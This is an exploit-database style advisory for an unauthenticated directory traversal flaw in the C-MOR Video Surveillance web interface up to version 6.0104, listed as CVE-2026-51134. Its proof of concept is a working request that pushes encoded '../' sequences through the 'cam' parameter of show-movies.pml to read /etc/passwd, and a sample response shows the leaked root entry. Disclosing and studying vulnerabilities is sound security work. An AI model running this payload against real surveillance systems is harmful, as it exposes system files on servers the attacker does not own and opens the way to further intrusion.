# Exploit Title: C-MOR 6.0104 - Directory Traversal # Google Dork: N/A # Date: 2026-07-23 # Exploit Author: Fadi Kaakahji (Alb Cyber Guards) # Vendor Homepage: https://www.c-mor.com # Software Link: https://www.c-mor.com/ # Version: <= 6.0104 # Tested on: C-MOR Video Surveillance V6.0104 # CVE: CVE-2026-51134 # 1. Description: # The C-MOR Video Surveillance web interface (up to version 6.0104) by za-internet GmbH # is vulnerable to Directory/Path Traversal. Unauthenticated attackers can access # arbitrary system files via specially crafted HTTP requests using directory # traversal sequences (e.g., '../') in the 'cam' parameter of the show-movies.pml component. # 2. Proof of Concept (PoC): # Retrieve the /etc/passwd file from the target server: http://[TARGET]/show-movies.pml?cam=cam5..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&days=1100 # Vulnerable Code in Response (Example for /etc/passwd): # <span class=hl>&nbsp;Aufnahmen Kamera 5../../../../../../../../../../../../../../../../etc/passwd, Standort: root:x:0:0:root:/root:/bin/bash</span>